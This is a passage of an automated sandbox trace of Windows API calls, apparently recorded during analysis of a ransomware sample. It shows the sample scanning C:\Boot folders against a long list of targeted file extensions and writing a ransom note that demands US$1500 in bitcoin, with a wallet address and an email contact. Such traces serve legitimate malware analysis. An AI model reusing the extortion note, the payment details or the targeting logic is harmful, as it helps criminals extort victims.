(pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.148] lstrlenA (lpString="*.php") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.148] lstrlenA (lpString="*.cs") returned 4 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.148] lstrlenA (lpString="*.cpp") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.148] lstrlenA (lpString="*.rar") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.148] lstrlenA (lpString="*.zip") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.149] lstrlenA (lpString="*.html") returned 6 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.149] lstrlenA (lpString="*.htm") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.149] lstrlenA (lpString="*.xlsx") returned 6 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.149] lstrlenA (lpString="*.xls") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.149] lstrlenA (lpString="*.mp4") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.149] lstrlenA (lpString="*.ppt") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.149] lstrlenA (lpString="*.pptx") returned 6 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.149] lstrlenA (lpString="*.doc") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.149] lstrlenA (lpString="*.dot") returned 5 [0057.149] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.149] lstrlenA (lpString="*.docx") returned 6 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.150] lstrlenA (lpString="*.7z") returned 4 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.150] lstrlenA (lpString="*.tar") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.150] lstrlenA (lpString="*.bz2") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.150] lstrlenA (lpString="*.gz") returned 4 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.150] lstrlenA (lpString="*.mkv") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.150] lstrlenA (lpString="*.eml") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.150] lstrlenA (lpString="*.msg") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.150] lstrlenA (lpString="*.edb") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.150] lstrlenA (lpString="*.accdb") returned 7 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.150] lstrlenA (lpString="*.odb") returned 5 [0057.150] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.151] lstrlenA (lpString="*.java") returned 6 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.151] lstrlenA (lpString="*.asm") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.151] lstrlenA (lpString="*.pfx") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.151] lstrlenA (lpString="*.pem") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.151] lstrlenA (lpString="*.p12") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.151] lstrlenA (lpString="*.gpg") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.151] lstrlenA (lpString="*.vsd") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.151] lstrlenA (lpString="*.odg") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.151] lstrlenA (lpString="*.raw") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.151] lstrlenA (lpString="*.nef") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.151] lstrlenA (lpString="*.svg") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.151] lstrlenA (lpString="*.psd") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.151] lstrlenA (lpString="*.vmx") returned 5 [0057.151] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.152] lstrlenA (lpString="*.vmdk") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.152] lstrlenA (lpString="*.vdi") returned 5 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.152] lstrlenA (lpString="*.lay6") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.152] lstrlenA (lpString="*.mpeg") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.152] lstrlenA (lpString="*.djvu") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.152] lstrlenA (lpString="*.tiff") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.152] lstrlenA (lpString="*.backup") returned 8 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.152] lstrlenA (lpString="*.pdf") returned 5 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.152] lstrlenA (lpString="*.cert") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.152] lstrlenA (lpString="*.docm") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.152] lstrlenA (lpString="*.xlsm") returned 6 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.152] lstrlenA (lpString="*.dwg") returned 5 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.152] lstrlenA (lpString="*.nd") returned 4 [0057.152] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.152] lstrlenA (lpString="*.tlg") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.153] lstrlenA (lpString="*.lgb") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.153] lstrlenA (lpString="*.mov") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.153] lstrlenA (lpString="*.xdw") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.153] lstrlenA (lpString="*.ods") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.153] lstrlenA (lpString="*.wav") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.153] lstrlenA (lpString="*.mp3") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.153] lstrlenA (lpString="*.aiff") returned 6 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.153] lstrlenA (lpString="*.flac") returned 6 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.153] lstrlenA (lpString="*.m4a") returned 5 [0057.153] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.153] lstrlenA (lpString="*.csv") returned 5 [0057.153] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.153] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.155] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="da-DK", cAlternateFileName="")) returned 1 [0057.155] lstrcmpA (lpString1=".", lpString2="da-DK") returned -1 [0057.155] lstrcmpA (lpString1="..", lpString2="da-DK") returned -1 [0057.155] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.155] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0057.155] lstrlenA (lpString="C:\\Boot\\da-DK") returned 13 [0057.156] FindFirstFileA (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.156] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.156] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.156] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.156] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.156] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.156] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.156] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.156] PathFindFileNameA (pszPath="C:\\Boot\\da-DK\\*.*") returned="*.*" [0057.156] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\da-DK\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0057.156] PathAddBackslashA (in: pszPath="C:\\Boot\\da-DK\\" | out: pszPath="C:\\Boot\\da-DK\\") returned="" [0057.157] lstrcatA (in: lpString1="C:\\Boot\\da-DK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\da-DK\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\da-DK\\HOW TO DECRYPT FILES.txt" [0057.157] GetFileAttributesA (lpFileName="C:\\Boot\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\da-dk\\how to decrypt files.txt")) returned 0xffffffff [0057.157] CreateFileA (lpFileName="C:\\Boot\\da-DK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\da-dk\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.157] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.157] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.158] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.158] CloseHandle (hObject=0x84) returned 1 [0057.159] lstrcatA (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.159] lstrlenA (lpString="*.ems") returned 5 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.159] lstrlenA (lpString="*.db") returned 4 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.159] lstrlenA (lpString="*.dbf") returned 5 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.159] lstrlenA (lpString="*.myox") returned 6 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.159] lstrlenA (lpString="*.myo") returned 5 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.159] lstrlenA (lpString="*.qbw") returned 5 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.159] lstrlenA (lpString="*.qbb") returned 5 [0057.159] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.159] lstrlenA (lpString="*.qbm") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.160] lstrlenA (lpString="*.qbo") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.160] lstrlenA (lpString="*.qbx") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.160] lstrlenA (lpString="*.qba") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.160] lstrlenA (lpString="*.qby") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.160] lstrlenA (lpString="*.qbj") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.160] lstrlenA (lpString="*.ofx") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.160] lstrlenA (lpString="*.qif") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.160] lstrlenA (lpString="*.mye") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.160] lstrlenA (lpString="*.mbox") returned 6 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.160] lstrlenA (lpString="*.eml") returned 5 [0057.160] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.160] lstrlenA (lpString="*.pst") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.161] lstrlenA (lpString="*.ost") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.161] lstrlenA (lpString="*.idx") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.161] lstrlenA (lpString="*.dbx") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.161] lstrlenA (lpString="*.sql") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.161] lstrlenA (lpString="*.mdb") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.161] lstrlenA (lpString="*.fdb") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.161] lstrlenA (lpString="*.wab") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.161] lstrlenA (lpString="*.dat") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.161] lstrlenA (lpString="*.txt") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.161] lstrlenA (lpString="*.jpeg") returned 6 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.161] lstrlenA (lpString="*.jpg") returned 5 [0057.161] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.161] lstrlenA (lpString="*.png") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.162] lstrlenA (lpString="*.php") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.162] lstrlenA (lpString="*.cs") returned 4 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.162] lstrlenA (lpString="*.cpp") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.162] lstrlenA (lpString="*.rar") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.162] lstrlenA (lpString="*.zip") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.162] lstrlenA (lpString="*.html") returned 6 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.162] lstrlenA (lpString="*.htm") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.162] lstrlenA (lpString="*.xlsx") returned 6 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.162] lstrlenA (lpString="*.xls") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.162] lstrlenA (lpString="*.mp4") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.162] lstrlenA (lpString="*.ppt") returned 5 [0057.162] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.163] lstrlenA (lpString="*.pptx") returned 6 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.163] lstrlenA (lpString="*.doc") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.163] lstrlenA (lpString="*.dot") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.163] lstrlenA (lpString="*.docx") returned 6 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.163] lstrlenA (lpString="*.7z") returned 4 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.163] lstrlenA (lpString="*.tar") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.163] lstrlenA (lpString="*.bz2") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.163] lstrlenA (lpString="*.gz") returned 4 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.163] lstrlenA (lpString="*.mkv") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.163] lstrlenA (lpString="*.eml") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.163] lstrlenA (lpString="*.msg") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.163] lstrlenA (lpString="*.edb") returned 5 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.163] lstrlenA (lpString="*.accdb") returned 7 [0057.163] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.164] lstrlenA (lpString="*.odb") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.164] lstrlenA (lpString="*.java") returned 6 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.164] lstrlenA (lpString="*.asm") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.164] lstrlenA (lpString="*.pfx") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.164] lstrlenA (lpString="*.pem") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.164] 